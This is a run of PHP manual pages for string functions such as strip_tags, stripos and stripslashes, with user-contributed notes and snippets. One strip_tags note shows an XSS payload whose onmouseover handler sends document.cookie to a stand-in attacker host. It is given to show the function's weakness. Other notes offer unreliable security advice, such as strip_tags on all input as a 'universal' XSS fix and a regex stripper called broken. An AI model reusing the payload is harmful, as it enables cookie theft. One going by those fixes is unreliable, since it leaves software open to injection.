strcoll() uses the current locale for doing the comparisons. If the current locale is C or POSIX, this function is equivalent to strcmp().

Parameters

str1

The first string.

str2

The second string.

Return Values

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Changelog

Version | Description
4.2.3 | This function now works on win32.

See Also

  • preg_match() - Perform a regular expression match
  • strcmp() - Binary safe string comparison
  • strcasecmp() - Binary safe case-insensitive string comparison
  • substr() - Return part of a string
  • stristr() - Case-insensitive strstr
  • strncasecmp() - Binary safe case-insensitive string comparison of the first n characters
  • strncmp() - Binary safe string comparison of the first n characters
  • strstr() - Find the first occurrence of a string
  • setlocale() - Set locale information

User Contributed Notes

sakkarinlaohawisut15 at hotmail dot com 22-Mar-2003 08:31
strcoll()'s behavior is sometimes a little bit confusing. It depends on LC_COLLATE in your locale.

<?php

 $a = 'a';
 $b = 'A';

 print strcmp ($a, $b) . "\n"; // prints 1

setlocale (LC_COLLATE, 'C');
 print "C: " . strcoll ($a, $b) . "\n"; // prints 1

 setlocale (LC_COLLATE, 'de_DE');
 print "de_DE: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'de_CH');
print "de_CH: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'en_US');
 print "en_US: " . strcoll ($a, $b) . "\n"; // prints -2

?>

This is useful e. g. if want to sort an array by using strcoll:

<?php

 $a = array ('a', 'A', 'ä', 'Ä', 'b', 'B');

 setlocale (LC_COLLATE, 'C');
 usort ($a, 'strcoll');
 print_r ($a);

?>

This is like sort($a):
 Array
 (
    [0] => A
    [1] => B
  [2] => a
    [3] => b
    [4] => Ä
    [5] => ä
 )

<?php

 setlocale (LC_COLLATE, 'de_DE');
usort ($a, 'strcoll');
 print_r ($a)

?>
This is completely different:
 Array
 (
    [0] => a
    [1] => A
    [2] => ä
    [3] => Ä
    [4] => b
  [5] => B
 )
27-Aug-2002 04:05
Note that some platforms implement strcmp() and strcasecmp() according to the current locale when strings are not binary equal, so that strcmp() and strcoll() will return the same value! This depends on how the PHP strcmp() function is compiled (i.e. if it uses the platform specific strcmp() found in its standard library!).
In that case, the only difference between strcoll() and strcmp() is that strcoll() may return 0 for distinct strings(i.e. consider strings are equal) while strcmp() will differentiate them if they have distinct binary encoding! This typically occurs on Asian systems.
What you can be sure is that strcmp() will always differentiate strings that are encoded differently, but the relative order may still use the current locale setting for collation order!


Find length of initial segment not matching mask

  • « strcoll
  • strip_tags »
  • PHP Manual
  • String Functions
  • Find length of initial segment not matching mask

strcspn

(PHP 4, PHP 5)

strcspn — Find length of initial segment not matching mask

Description

int strcspn ( string $str1 , string $str2 [, int $start [, int $length ]] )

Returns the length of the initial segment of str1 which does not contain any of the characters in str2.

Parameters

str1

The first string.

str2

The second string.

start

The start position of the string to examine.

length

The length of the string to examine.

Return Values

Returns the length of the segment as an integer.

Examples

Example #1 strcspn() example

<?php
$a = strcspn('abcd',  'apple');
$b = strcspn('abcd',  'banana');
$c = strcspn('hello', 'l');
$d = strcspn('hello', 'world');

var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);
?>

The above example will output:

int(0)
int(0)
int(2)
int(2)

Notes

Note: This function is binary-safe.

See Also

  • strspn() - Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.

User Contributed Notes

legacyprog at routinz dot net 10-Dec-2010 04:20
When you use the third parameter remember that the function will return the number of characters it bypassed, which will *not* be the position in your source string.  It's a simple fix to just add your third parameter value to the function result to get the position in the first string where the scan stopped, but I didn't think of it at first.
Anonymous 16-Oct-2009 07:55
strcspn() can also be thought of as analogous to the following regular expression:
<?php
// where ... represents the mask of characters
preg_match('/[^ ...]/', substr($subject, $start, $length) );
?>
By this analogy, strcspn() can be used in place of some regular expressions to match a pattern without the overhead of a regex engine -- for example, ways to verify if an input string represents a binary value:
<?php
preg_match('/^[01]+$/i', $subject);
// or...
!preg_match('/[^01]/i', $subject);

// ...or using strcspn()
!strcspn($subject, '01');
?>
AT-HE (at_he AT hotmai1 DOT com) 27-Dec-2005 11:07
this function can be used like strspn(), except while that can be used to compare a string with an allowed pattern, this one can be use to compare a string with a FORBIDDEN pattern

so, to know if any forbidden character has a position inside our string, we can use (not tested with backslashes)...

<?php
// LARGE VERSION
$forbidden="\"\\?*:/@|<>";
if (strlen($filename) != strcspn($filename,$forbidden)) {
    echo "you cant create a file with that name!";
}

// SHORT VERSION
if (strlen($filename) - strcspn($filename,"\"\\?*:/@|<>")) {
    echo "i told you, you cant create that file";
}
?>
maskedcoder at hotmail dot com 11-Oct-2005 01:13
useful for finding beginning of quotes and/or tags in a variable containing html.
    $pos = strcspn($data, '<"\'');
will find the first occurance of either the beginning of a tag, or a double- or single-quoted string.


Strip HTML and PHP tags from a string

  • « strcspn
  • stripcslashes »
  • PHP Manual
  • String Functions
  • Strip HTML and PHP tags from a string

strip_tags

(PHP 4, PHP 5)

strip_tags — Strip HTML and PHP tags from a string

Description

string strip_tags ( string $str [, string $allowable_tags ] )

This function tries to return a string with all NULL bytes, HTML and PHP tags stripped from a given str. It uses the same tag stripping state machine as the fgetss() function.

Parameters

str

The input string.

allowable_tags

You can use the optional second parameter to specify tags which should not be stripped.

Note:

HTML comments and PHP tags are also stripped. This is hardcoded and can not be changed with allowable_tags.

Note:

This parameter should not contain whitespace. strip_tags() sees a tag as a case-insensitive string between < and the first whitespace or >. It means that strip_tags("<br/>", "<br>") returns an empty string.

Return Values

Returns the stripped string.

Changelog

Version | Description
5.0.0 | strip_tags() is now binary safe.

Examples

Example #1 strip_tags() example

<?php
$text = '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';
echo strip_tags($text);
echo "\n";

// Allow <p> and <a>
echo strip_tags($text, '<p><a>');
?>

The above example will output:

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

Notes

Warning

Because strip_tags() does not actually validate the HTML, partial or broken tags can result in the removal of more text/data than expected.

Warning

This function does not modify any attributes on the tags that you allow using allowable_tags, including the style and onmouseover attributes that a mischievous user may abuse when posting text that will be shown to other users.

Note:

Tag names within the input HTML that are greater than 1023 bytes in length will be treated as though they are invalid, regardless of the allowable_tags parameter.

See Also

  • htmlspecialchars() - Convert special characters to HTML entities

User Contributed Notes

bnt dot gloria at outlook dot com 11-Jul-2014 12:52
With allowable_tags, strip-tags is not safe.

<?php

$str= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";
$str= strip_tags($str, '<p>');
echo $str; // DISPLAY: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";

?>
pietro777 07-Jun-2014 05:20
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br />||<br/>||<br>');
var_dump($new); // OUTPUTS string(11) "<br>Each<br/>New<br />Line"
Kenji 24-Apr-2014 11:11
A word of warning!!
Do NOT use "admin at automapit dot com"s regex. It's broken:

"lalala <b<b>> lala </b<b>>"

will be stripped into

"lalala <b> lala </b>"

I CANNOT overstate the severity of the security issues you are introducing with such a code! Don't use it, stay safe.
andy 07-Mar-2014 12:33
<?php
//***    Universal prevent xss  ***
//   place this in top of script to prevent xss on your site
$_GET=array_map("strip_tags",$_GET);
$_POST=array_map("strip_tags",$_POST);
?>
obeyer at popsugar dot com 11-Jan-2014 08:50
actually, for PHP 5.4.19, if you want to add line breaks <br> to allowable tags, you should use "<br>". Both <br/> and <br /> in allowable tags won't do anything, and line breaks will be stripped
sERGE-01 28-Nov-2013 08:03
Fix for my Example2.
If the text does not have allowed tags, $out_text is empty. Fix:

<?php
    $out_text = "";
    $ofs = 0;
    if(preg_match_all('#</?('.$tags_allowed.')\b([^><]*>)#sim', $in_text, $matches, PREG_OFFSET_CAPTURE))
    {
        foreach($matches[0] as $tag)
        {
            $out_text .= htmlentities(substr($in_text, $ofs, $tag[1] - $ofs), ENT_NOQUOTES, "cp1251");
            $out_text .= $tag[0];
            $ofs = $tag[1] + strlen($tag[0]);
        }
    }
    $out_text .= htmlentities(substr($in_text, $ofs), ENT_NOQUOTES, "cp1251"); // end of text
?>
sERGE-01 28-Nov-2013 06:43
My strip_tags:

1) Simple removal of all disallowed tags. Broken tags remain unchanged:
<?php
    $tags_allowed = "a|b|i|s|u|br";
    $in_text = "<b>Bold</b><table><tr><td>Table</td></tr></table><br><i>Italic>></i><div>Div</div>";

    $out_text = preg_replace('#</?(?!('.$tags_allowed.'))\b([^><]*>)#sim', "", $in_text);

    print "Example 1:<br>";
    print htmlentities($out_text)."<br>";
?>
-------------------------------
Example 1:
<b>Bold</b>Table<br><i>Italic>></i>Div
-------------------------------

2) This example leaves all allowed tags and screen the rest of the text with  htmlentities() function:
<?php
    // getting all of allowed tags with their offset
    if(preg_match_all('#</?('.$tags_allowed.')\b([^><]*>)#sim', $in_text, $matches, PREG_OFFSET_CAPTURE))
    {
        $out_text = "";
        $ofs = 0;
        foreach($matches[0] as $tag)
        {
            // text before allowed tag
            $out_text .= htmlentities(substr($in_text,$ofs,$tag[1]-$ofs), ENT_NOQUOTES, "cp1251");
            $out_text .= $tag[0]; // next allowed tag
            $ofs = $tag[1] + strlen($tag[0]);
        }
        // adding end of text
        $out_text .= htmlentities(substr($in_text, $ofs), ENT_NOQUOTES, "cp1251");
    }

    print "Example 2:<br>";
    print htmlentities($out_text)."<br>";
?>
-------------------------------
Example 2:
<b>Bold</b>&lt;table&gt;&lt;tr&gt;&lt;td&gt;Table&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;<br>
<i>Italic&gt;&gt;</i>&lt;div&gt;Div&lt;/div&gt;
-------------------------------
mshaffer 13-Sep-2013 01:01
Below was a note on "strip_tags" page that got removed off of PHP.net ... I found this note useful, and use the code in parsing before "stripping tags" ... I don't know why in the world you would delete this one, but keep others ... your review system is a bit disturbing ...

On your page you have a warning about how data may be lost, but you delete a user-contributed comment that helps prevent that?

======================

aleksey at favor dot com dot ua 24-Feb-2011 01:06

strip_tags destroys the whole HTML behind the tags with invalid attributes. Like <img src="/images/image.jpg""> (look, there is an odd quote before >.)

So I wrote function which fixes unsafe attributes and replaces odd " and ' quotes with &quot; and &#39;.

<?php
function fix_unsafe_attributes($s) {
  $out = false;
  while (preg_match('/<([A-Za-z])[^>]*?>/', $s, $i, PREG_OFFSET_CAPTURE)) { // find where the tag begins
    $i = $i[1][1]+1;
    $out.= substr($s, 0, $i);
    $s = substr($s, $i);

    // scan attributes and find odd " and '
    while (((($i1 = strpos($s, '"')) || 1) && (($i2 = strpos($s, '\'')) || 1)) && ($i1 !== false || $i2 !== false) &&
           (($i = (int)(($i1 !== false) && ($i2 !== false) ? ($i1 < $i2 ? $i1 : $i2) : ($i1 == false ? $i2 : $i1))) !== false) &&
           ((($c = strpos($s, '>')) === false) || ($i < $c))) {

      $c = $s{$i};
      if (($i < 1) || ($s{$i-1} != '=')) {
        $out.= substr($s, 0, $i).($s{$i} == '"' ? '&quot;' : '&#39;'); // replace odd " and '
        $s = substr($s, $i+1);
      }else {
        $i++;
        $out.= substr($s, 0, $i);
        $s = substr($s, $i);

        if (($i = strpos($s, $c)) !== false) {
          $i++;
          $out.= substr($s, 0, $i);
          $s = substr($s, $i);
        }
      }
    }
  }
  return $out.$s;
}
?>

Maybe this function can be rewritten with simple regular expression but I have no luck to make it quickly.
bzplan at web dot de 07-Oct-2012 04:57
a HTML code like this:

<?php
$html = '
<div>
<p style="color:blue;">color is blue</p><p>size is <span style="font-size:200%;">huge</span></p>
<p>material is wood</p>
</div>
';
?>

with <?php $str = strip_tags($html); ?>
... the result is:

$str = 'color is bluesize is huge
material is wood';

notice: the words 'blue' and 'size' grow together :(
and line-breaks are still in new string $str

if you need a space between the words (and without line-break)
use my function: <?php $str = rip_tags($html); ?>
... the result is:

$str = 'color is blue size is huge material is wood';

the function:

<?php
// --------------------------------------------------------------

function rip_tags($string) {

    // ----- remove HTML TAGs -----
    $string = preg_replace ('/<[^>]*>/', ' ', $string);

    // ----- remove control characters -----
    $string = str_replace("\r", '', $string);    // --- replace with empty space
    $string = str_replace("\n", ' ', $string);   // --- replace with space
    $string = str_replace("\t", ' ', $string);   // --- replace with space

    // ----- remove multiple spaces -----
    $string = trim(preg_replace('/ {2,}/', ' ', $string));

    return $string;

}

// --------------------------------------------------------------
?>

the KEY is the regex pattern: '/<[^>]*>/'
instead of strip_tags()
... then remove control characters and multiple spaces
:)
tom at cowin dot us 28-Aug-2010 04:04
With most web based user input of more than a line of text, it seems I get 90% 'paste from Word'. I've developed this fn over time to try to strip all of this cruft out. A few things I do here are application specific, but if it helps you - great, if you can improve on it or have a better way - please - post it...

<?php

    function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')
    {
        mb_regex_encoding('UTF-8');
        //replace MS special characters first
        $search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');
        $replace = array('\'', '\'', '"', '"', '-');
        $text = preg_replace($search, $replace, $text);
        //make sure _all_ html entities are converted to the plain ascii equivalents - it appears
        //in some MS headers, some html entities are encoded and some aren't
        $text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
        //try to strip out any C style comments first, since these, embedded in html comments, seem to
        //prevent strip_tags from removing html comments (MS Word introduced combination)
        if(mb_stripos($text, '/*') !== FALSE){
            $text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');
        }
        //introduce a space into any arithmetic expressions that could be caught by strip_tags so that they won't be
        //'<1' becomes '< 1'(note: somewhat application specific)
        $text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);
        $text = strip_tags($text, $allowed_tags);
        //eliminate extraneous whitespace from start and end of line, or anywhere there are two or more spaces, convert it to one
        $text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);
        //strip out inline css and simplify style tags
        $search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');
        $replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');
        $text = preg_replace($search, $replace, $text);
        //on some of the ?newer MS Word exports, where you get conditionals of the form 'if gte mso 9', etc., it appears
        //that whatever is in one of the html comments prevents strip_tags from eradicating the html comment that contains
        //some MS Style Definitions - this last bit gets rid of any leftover comments */
        $num_matches = preg_match_all("/\<!--/u", $text, $matches);
        if($num_matches){
              $text = preg_replace('/\<!--(.)*--\>/isu', '', $text);
        }
        return $text;
    }
?>
brettz9 AAT yah 05-Apr-2009 05:10
Works on shortened <?...?> syntax and thus also will remove XML processing instructions.
kai at froghh dot de 06-Mar-2009 05:45
a function that decides if < is a start of a tag or a lower than / lower than + equal:

<?php
function lt_replace($str){
    return preg_replace("/<([^[:alpha:]])/", '&lt;\\1', $str);
}
?>

It's to be used before strip_slashes.
CEO at CarPool2Camp dot org 17-Feb-2009 08:10
Note the different outputs from different versions of the same tag:

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br>');
var_dump($new);  // OUTPUTS string(21) "<br>EachNew<br />Line"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br/>');
var_dump($new); // OUTPUTS string(16) "Each<br/>NewLine"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br />');
var_dump($new); // OUTPUTS string(11) "EachNewLine"
?>
mariusz.tarnaski at wp dot pl 12-Nov-2008 05:05
Hi. I made a function that removes the HTML tags along with their contents:

Function:
<?php
function strip_tags_content($text, $tags = '', $invert = FALSE) {

  preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);
  $tags = array_unique($tags[1]);

  if(is_array($tags) AND count($tags) > 0) {
    if($invert == FALSE) {
      return preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);
    }
    else {
      return preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);
    }
  }
  elseif($invert == FALSE) {
    return preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);
  }
  return $text;
}
?>

Sample text:
$text = '<b>sample</b> text with <div>tags</div>';

Result for strip_tags($text):
sample text with tags

Result for strip_tags_content($text):
 text with

Result for strip_tags_content($text, '<b>'):
<b>sample</b> text with

Result for strip_tags_content($text, '<b>', TRUE);
 text with <div>tags</div>

I hope that someone is useful :)
admin at automapit dot com 09-Aug-2006 07:01
<?php
function html2txt($document){
$search = array('@<script[^>]*?>.*?</script>@si',  // Strip out javascript
               '@<[\/\!]*?[^<>]*?>@si',            // Strip out HTML tags
               '@<style[^>]*?>.*?</style>@siU',    // Strip style tags properly
               '@<![\s\S]*?--[ \t\n\r]*>@'         // Strip multi-line comments including CDATA
);
$text = preg_replace($search, '', $document);
return $text;
}
?>

This function turns HTML into text... strips tags, comments spanning multiple lines including CDATA, and anything else that gets in it's way.

It's a frankenstein function I made from bits picked up on my travels through the web, thanks to the many who have unwittingly contributed!
cesar at nixar dot org 07-Mar-2006 08:44
Here is a recursive function for strip_tags like the one showed in the stripslashes manual page.

<?php
function strip_tags_deep($value)
{
  return is_array($value) ?
    array_map('strip_tags_deep', $value) :
    strip_tags($value);
}

// Example
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// Output
print_r($array);
?>
salavert at~ akelos 13-Feb-2006 11:21
<?php
       /**
    * Works like PHP function strip_tags, but it only removes selected tags.
    * Example:
    *     strip_selected_tags('<b>Person:</b> <strong>Salavert</strong>', 'strong') => <b>Person:</b> Salavert
    */

    function strip_selected_tags($text, $tags = array())
    {
        $args = func_get_args();
        $text = array_shift($args);
        $tags = func_num_args() > 2 ? array_diff($args,array($text))  : (array)$tags;
        foreach ($tags as $tag){
            if(preg_match_all('/<'.$tag.'[^>]*>(.*)<\/'.$tag.'>/iU', $text, $found)){
                $text = str_replace($found[0],$found[1],$text);
          }
        }

        return $text;
    }

?>

Hope you find it useful,

Jose Salavert


Un-quote string quoted with addcslashes

  • « strip_tags
  • stripos »
  • PHP Manual
  • String Functions
  • Un-quote string quoted with addcslashes

stripcslashes

(PHP 4, PHP 5)

stripcslashes — Un-quote string quoted with addcslashes()

Description

string stripcslashes ( string $str )

Returns a string with backslashes stripped off. Recognizes C-like \n, \r ..., octal and hexadecimal representation.

Parameters

str

The string to be unescaped.

Return Values

Returns the unescaped string.

See Also

  • addcslashes() - Quote string with slashes in a C style

User Contributed Notes

jsmneo at dreamworkstudio dot net 05-Jul-2008 04:53
you might want to do a double stripslashes to completely remove 3 consecutive slashes

$stripped = 'this is a string with three\\\ slashes';
$stripped = stripslahses($stripped);
would output:
'this is a string with three\ slashes'

$stripped = 'this is a string with three\\\ slashes';
$stripped = stripslahses(stripslashes($stripped));
would output:
'this is a string with three slashes'
uramihsayibok, gmail, com 18-May-2008 06:09
> /*QUOTE
> stripcslashes('He\xallo') == 'He'."\n".'llo'
> stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'
> */
>
> You Can Use
>
> stripcslashes('H\xa0ello') == 'H'.chr(0xA0).'ello'
Correct. But not what (I think) you were trying to show.

>
> as xa0 = xa = chr(xA)
Not so correct.

Does 9==90? No, because that added zero *after* the number means something.
It's when you add a zero *before* the number does it not affect the value.

I'd like to assume that was a typo, but with the Internet as it is, who knows...
> You Can Use
>
> stripcslashes('H\x0aello') == 'H'.chr(0x0A).'ello'
fix'd


Find the position of the first occurrence of a case-insensitive substring in a string

  • « stripcslashes
  • stripslashes »
  • PHP Manual
  • String Functions
  • Find the position of the first occurrence of a case-insensitive substring in a string

stripos

(PHP 5)

stripos — Find the position of the first occurrence of a case-insensitive substring in a string

Description

int stripos ( string $haystack , string $needle [, int $offset = 0 ] )

Find the numeric position of the first occurrence of needle in the haystack string.

Unlike the strpos(), stripos() is case-insensitive.

Parameters

haystack

The string to search in.

needle

Note that the needle may be a string of one or more characters.

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

offset

If specified, search will start this number of characters counted from the beginning of the string. Unlike strrpos() and strripos(), the offset cannot be negative.

Return Values

Returns the position of where the needle exists relative to the beginnning of the haystack string (independent of offset). Also note that string positions start at 0, and not 1.

Returns FALSE if the needle was not found.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 stripos() examples

<?php
$findme    = 'a';
$mystring1 = 'xyz';
$mystring2 = 'ABC';

$pos1 = stripos($mystring1, $findme);
$pos2 = stripos($mystring2, $findme);

// Nope, 'a' is certainly not in 'xyz'
if ($pos1 === false) {
    echo "The string '$findme' was not found in the string '$mystring1'";
}

// Note our use of ===.  Simply == would not work as expected
// because the position of 'a' is the 0th (first) character.
if ($pos2 !== false) {
    echo "We found '$findme' in '$mystring2' at position $pos2";
}
?>

Notes

Note: This function is binary-safe.

See Also

  • mb_stripos() - Finds position of first occurrence of a string within another, case insensitive
  • strpos() - Find the position of the first occurrence of a substring in a string
  • strrpos() - Find the position of the last occurrence of a substring in a string
  • strripos() - Find the position of the last occurrence of a case-insensitive substring in a string
  • stristr() - Case-insensitive strstr
  • substr() - Return part of a string
  • str_ireplace() - Case-insensitive version of str_replace.

User Contributed Notes

spam at wikicms dot org 15-Dec-2013 05:57
If you like using ternary operator, I wrote simple example how to use stripos function.
Also, in my example I add "How to use namespaces" for wide knowledges for newbies.

<?php
namespace My;

//You can be free using core functions in your NameSpaces (My)
function stripos($haystack, $needle) {
    //To call core function (from global NS) you should add backslash only - \func
    return (FALSE === \stripos($haystack, $needle)) ? FALSE : TRUE;
}

var_dump(stripos($haystack = 'John knows English language.', $needle = 'john')); //TRUE
var_dump(stripos($haystack = 'Sara knows English language too.', $needle = 'john')); //FALSE
?>
steve at opilo dot net 02-Jul-2013 01:38
A handy function if you need to adjust layout based on whether or not a string contains descending letters:

<?php function containsDescenders($text) {
    $descenders = array("g","j","p","q","y");
    foreach ($descenders as $letter) {
        if (stripos($text,$letter) !== false) {
            return true;
        }
    }
    return false;
} ?>
emperorshishire at gmail dot com 25-Feb-2009 04:31
I found myself needing to find the first position of multiple needles in one haystack.  So I wrote this little function:

<?php
function multineedle_stripos($haystack, $needles, $offset=0) {
    foreach($needles as $needle) {
        $found[$needle] = stripos($haystack, $needle, $offset);
    }
    return $found;
}

// It works as such:
$haystack = "The quick brown fox jumps over the lazy dog.";
$needle = array("fox", "dog", ".", "duck")
var_dump(multineedle_stripos($haystack, $needle));
/* Output:
   array(3) {
     ["fox"]=>
     int(16)
     ["dog"]=>
     int(40)
     ["."]=>
     int(43)
     ["duck"]=>
     bool(false)
   }
*/
?>
grf at post dot cz 20-Mar-2007 01:57
this would to work with any language, i hope.
tested on czech (eastern europe) lang.

<?php
/****************************************
*    SAFE HIGHLIGHT
****************************************/
/**
 * function finds and encase every string in a $needleArr array with
 * strings $shearLft (from the left side) and $shearRgt (guess from which
 * side).
 * already encased needles are IGNORED for any other step, so order
 * of needles in $needleArr is pretty important.
 *
 * function is searching needles in case-insensitive mode,
 * but case in the subject is saved.
 *
 * can you do it better? so, do it.
 *
 * @param array $needleArr array of needles
 * @param string $shearLft left shear
 * @param string $shearRgt right shear
 * @param string $subject subject
 * @param string $encoding encoding ('utf-8' is default)
 *
 * @author griffin
 */
function safeHighlight( $needleArr, $shearLft, $shearRgt, $subject, $encoding = 'utf-8')
{

    // encoding
    $e = $encoding;

    // oh, no needles
    if( !is_array( $needleArr))
        return $subject;

    // empty keys throw-off, only unique, reindex
    $nA = array_values(
            array_unique(
                array_diff( $needleArr, array(''))
            )
        );

    // needle count
    if( !($nC = count( $nA)))
        return $subject; // nothing to hl

    // shear length
    if( !(($rLL = mb_strlen( $rL = $shearLft, $e))
    + ($rRL = mb_strlen( $rR = $shearRgt, $e))))
        return $subject; // no shears

    // subject length
    if( !($sL = mb_strlen( $s = $subject, $e)))
        return null; // empty subject

    // subject in lowercase (we need to aviod
    // using mb_stripos due to PHP version)
    $sW = mb_strtolower( $s, $e);

    // masking ~ 0=not changed, 1=changed
    $m = str_repeat( '0', $sL);

    // loop for each needle
    for( $n=0; $n<$nC; $n++)
    {

        // needle string loWercase
        $nW = mb_strtolower( $nA[ $n], $e);

        $o = 0; // offset
        $nL = mb_strlen( $nW, $e); // needle length

        // search needle
        while( false !== ($p = mb_strpos( $sW, $nW, $o, $e)))
        {
            // oh hurrey, needle found on $p position

            // is founded needle already modified? (in full-length)
            for( $q=$p; $q<($p+$nL); $q++)
                if( $m[ $q])
                {
                    // ai, caramba. already modified, jump over
                    $o+= $nL;

                    // continue for while() loop - not for for() loop!
                    continue 2;
                }

            // explode subject and mask into three parts
            // partA|needle|partB
            $sE[0] = mb_substr( $s, 0, $p, $e);
            $sE[1] = mb_substr( $s, $p, $nL, $e);
            $sE[2] = mb_substr( $s, $p+$nL, $sL-$p-$nL, $e);

            // mask
            // partA|partB (needle not needed)
            $mE[0] = mb_substr( $m, 0, $p, $e);
            $mE[1] = mb_substr( $m, $p+$nL, $sL-$p-$nL, $e);

            // apply shears
            $sE[1] = $rL.$sE[1].$rR;

            // update sunject length
            $sL+= $rLL + $rRL;

            // update mask
            $m = $mE[0] . str_repeat( '1', $rLL + $nL + $rRL) . $mE[1];

            // implode into a subject
            $s = implode( $sE);

            // update lowercase subject
            $sW = mb_strtolower( $s, $e);

            // increase offset
            $o+= $rLL + $nL + $rRL;

            // end of string reached
            if( $o>=$sL)
                break;

        } // while()

    } // for( $n=0; $n<$nC; $n++)

    // oouu yeaaa, kick the subject out of the function
    return $s;

} // function safeHighlight()
/****************************************
*    END: SAFE HIGHLIGHT
****************************************/
?>


Un-quotes a quoted string

  • « stripos
  • stristr »
  • PHP Manual
  • String Functions
  • Un-quotes a quoted string

stripslashes

(PHP 4, PHP 5)

stripslashes — Un-quotes a quoted string

Description

string stripslashes ( string $str )

Un-quotes a quoted string.

Note:

If magic_quotes_sybase is on, no backslashes are stripped off but two apostrophes are replaced by one instead.

An example use of stripslashes() is when the PHP directive magic_quotes_gpc is on (it was on by default before PHP 5.4), and you aren't inserting this data into a place (such as a database) that requires escaping. For example, if you're simply outputting data straight from an HTML form.

Parameters

str

The input string.

Return Values

Returns a string with backslashes stripped off. (\' becomes ' and so on.) Double backslashes (\\) are made into a single backslash (\).

Examples

Example #1 A stripslashes() example

<?php
$str = "Is your name O\'reilly?";

// Outputs: Is your name O'reilly?
echo stripslashes($str);
?>

Note:

stripslashes() is not recursive. If you want to apply this function to a multi-dimensional array, you need to use a recursive function.

Example #2 Using stripslashes() on an array

<?php
function stripslashes_deep($value)
{
    $value = is_array($value) ?
                array_map('stripslashes_deep', $value) :
                stripslashes($value);

    return $value;
}

// Example
$array = array("f\\'oo", "b\\'ar", array("fo\\'o", "b\\'ar"));
$array = stripslashes_deep($array);

// Output
print_r($array);
?>

The above example will output:

Array
(
    [0] => f'oo
    [1] => b'ar
    [2] => Array
        (
            [0] => fo'o
            [1] => b'ar
        )

)

See Also

  • addslashes() - Quote string with slashes
  • get_magic_quotes_gpc() - Gets the current configuration setting of magic_quotes_gpc

User Contributed Notes

Anonymous 12-Oct-2014 06:23
Rather use str_replace than explode/implode for your purpose.
ivijan dot stefan at gmail dot com 05-Mar-2014 12:29
Sometimes for some reason is happens that PHP or Javascript or some naughty insert a lot of  backslash. Ordinary function does not notice that. Therefore, it is necessary that the bit "inflate":

<?php
function removeslashes($string)
{
    $string=implode("",explode("\\",$string));
    return stripslashes(trim($string));
}

/* Example */

$text="My dog don\\\\\\\\\\\\\\\\'t like the postman!";
echo removeslashes($text);
?>

RESULT: My dog don't like the postman!

This flick has served me wery well, because I had this problem before.
Yousef Ismaeil Cliprz 19-Feb-2013 04:41
If you want to use stripslashes(); function for a string or array you can create a user function

as in example:

<?php

if (!function_exists('strip_slashes'))
{
    /**
     * Un-quotes a quoted string.
     *
     * @param (mixed) $str - The input string.
     * @author Yousef Ismaeil Cliprz
     */
    function strip_slashes($str)
    {
        if (is_array($str))
        {
            foreach ($str as $key => $val)
            {
                $str[$key] = strip_slashes($val);
            }
        }
        else
        {
            $str = stripslashes($str);
        }

        return $str;
    }
}

$arr = array('Yousef\\\'s','\"PHP.net\"','user\\\'s');

echo 'With strip_slashes() function:<br />';
print_r(strip_slashes($arr));
echo '<br />';
echo 'Without strip_slashes() function:<br />';
print_r($arr);

/** You will get
With strip_slashes() function:
Array ( [0] => Yousef's [1] => "PHP.net" [2] => user's )
Without strip_slashes() function:
Array ( [0] => Yousef\'s [1] => \"PHP.net\" [2] => user\'s )
*/

?>
StefanoAI 27-Jan-2013 11:31
Recursive stripslashes
<?php
if (get_magic_quotes_gpc()) {

    function stripslashes_array(&$arr) {
        foreach ($arr as $k => &$v) {
            $nk = stripslashes($k);
            if ($nk != $k) {
                $arr[$nk] = &$v;
                unset($arr[$k]);
            }
            if (is_array($v)) {
                stripslashes_array($v);
            } else {
                $arr[$nk] = stripslashes($v);
            }
        }
    }

    stripslashes_array($_POST);
    stripslashes_array($_GET);
    stripslashes_array($_REQUEST);
    stripslashes_array($_COOKIE);
}
?>
todd at toddzebert dot com 27-Jun-2012 04:18
Attempting to use stripslashes on an array in 5.2.17 returns the string "Array", but in 5.3.6 it returns NULL.
tarmo at goyf dot de 06-Mar-2012 11:58
When matching strings with approstrophes against the mysql database, my query kept failing while it worked fine when I copied the same query directly to perform the database query. After several hours I found that stripslashes() made the string longer and hence it wasn't "equal" for the query.

This code shows the behavior (copy into "test.php"). Replacing stripslashes worked for me.

<?php
echo '<h2>Post-Data</h2>';
